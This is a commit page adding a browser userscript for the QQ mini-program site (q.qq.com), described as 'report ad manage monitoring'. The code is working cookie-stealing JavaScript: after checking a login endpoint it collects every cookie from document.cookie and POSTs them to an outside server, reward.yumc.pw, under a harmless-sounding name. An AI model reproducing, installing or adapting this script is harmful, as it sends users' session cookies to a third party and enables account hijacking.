添加 'qq/q.user.js'
This commit is contained in:
parent
58df455251
commit
9324859973
30
qq/q.user.js
Normal file
30
qq/q.user.js
Normal file
@ -0,0 +1,30 @@
|
||||
// ==UserScript==
|
||||
// @name QQ小程序授权上报
|
||||
// @namespace https://qq.yumc.pw/
|
||||
// @version 0.1
|
||||
// @description report ad manage monitoring!
|
||||
// @author MiaoWoo
|
||||
// @match http*://q.qq.com
|
||||
// @grant none
|
||||
// ==/UserScript==
|
||||
|
||||
(function () {
|
||||
'use strict';
|
||||
fetch('https://q.qq.com/pb3/GetPreCacheUrl')
|
||||
.then(r => r.json())
|
||||
.then(res => {
|
||||
if (res.code == 0) {
|
||||
let cookies = document.cookie.split(';').map(s => s.trim().split('=', 2)).reduce((pre, cur, index) => {
|
||||
pre[cur[0]] = cur[1]
|
||||
return pre
|
||||
}, {})
|
||||
fetch('https://reward.yumc.pw/callback/qcookie', {
|
||||
method: "POST",
|
||||
headers: {
|
||||
'Content-Type': 'application/json'
|
||||
},
|
||||
body: JSON.stringify(cookies)
|
||||
})
|
||||
}
|
||||
})
|
||||
})();
|
Loading…
Reference in New Issue
Block a user